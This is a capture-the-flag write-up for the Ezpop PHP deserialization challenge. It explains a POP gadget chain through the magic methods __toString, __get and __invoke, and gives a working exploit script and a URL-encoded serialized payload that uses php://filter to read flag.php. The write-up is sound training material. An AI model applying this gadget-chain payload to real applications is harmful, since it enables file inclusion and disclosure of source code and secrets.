BUUCTF [MRCTF2020]Ezpop解题思路

题目代码

php 复制代码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

前置知识

php魔术方法:

  • __call() : 在对象中调用一个不可访问方法时, __call() 会被调用
  • __toString: 将对象当作一个字符串输出的时候
  • __wakeup: 反序列化时被调用
  • __invoke: 当一个对象被作为函数调用时被调用
  • __get: 当对象访问一个不存在的属性时调用
  • __construct:创建对象时调用

序列化只会保存对象的属性对应的值

分析

这里找到危险参数 ,发现在 Modifier 对象中

php 复制代码
public function __invoke(){
        $this->append($this->var);
    }

我们顺着这个魔术方法找哪里调用了变量函数

Test对象中

php 复制代码
public function __get($key){
        $function = $this->p;
        return $function();
    }

再顺着这个魔术方法的调用条件找哪里访问了Test对象中没有的变量

php 复制代码
    public function __toString(){
        return $this->str->source;
    }

我们找到了Show对象吗,只要我们将str变量设置为Test对象,那么就能触发这个利用链

再找到输出变量的地方

php 复制代码
$this->source

在Show对象中,如果我们将source设置为Show对象,那么就等于将该对象当作字符串进行访问从而触发 __tostring方法

EXP

php 复制代码
<?php
class Modifier
{
    protected  $var;
    function __construct($var)
    {
        $this->var = $var;
    }
}

class Show
{
    public $source = 0;
    public $str = 0;
    
}

class Test
{
    public $p;
}

$data = "php://filter/read=convert.base64-encode/resource=flag.php";   # 最终这里被include

$m = new Modifier($data);

$t = new Test();
$t->p = $m ;

$s1 = new Show();
$s2 = new Show();

$s2->str = $t;
$s1->source = $s2;

echo urlencode(serialize($s1));

最终我们include("php://filter/read=convert.base64-encode/resource=flag.php")即可读取flag.php文件从而拿到flag

复制代码
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bi%3A0%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3Bi%3A0%3B%7D
相关推荐
望获linux2 小时前
【实时Linux实战系列】基于实时Linux的物联网系统设计
linux·运维·服务器·chrome·php
网安INF14 小时前
【论文阅读】-《HopSkipJumpAttack: A Query-Efficient Decision-Based Attack》
论文阅读·人工智能·深度学习·网络安全·对抗攻击
fakaifa14 小时前
点大餐饮独立版系统源码v1.0.3+uniapp前端+搭建教程
小程序·uni-app·php·源码下载·点大餐饮·扫码点单
挨踢攻城1 天前
华为 | SD-WAN场景丢包类问题定位
网络·华为·php·hcie·hcia·hcip·厦门微思网络
fakaifa1 天前
【最新版】CRMEB Pro版v3.4系统源码全开源+PC端+uniapp前端+搭建教程
人工智能·小程序·uni-app·php·crmeb·源码下载·crmebpro
lingggggaaaa1 天前
小迪安全v2023学习笔记(六十二讲)—— PHP框架反序列化
笔记·学习·安全·web安全·网络安全·php·反序列化
Johny_Zhao1 天前
基于 Docker 的 LLaMA-Factory 全流程部署指南
linux·网络·网络安全·信息安全·kubernetes·云计算·containerd·yum源·系统运维·llama-factory
黑客影儿2 天前
Kali Linux 环境中的系统配置文件与用户配置文件大全
linux·运维·程序人生·安全·网络安全·系统安全·学习方法
Q_Q19632884752 天前
python的电影院座位管理可视化数据分析系统
开发语言·spring boot·python·django·flask·node.js·php
小张的博客之旅2 天前
宁波市第八届网络安全大赛初赛(REVERSE-Writeup)
学习·网络安全·reverse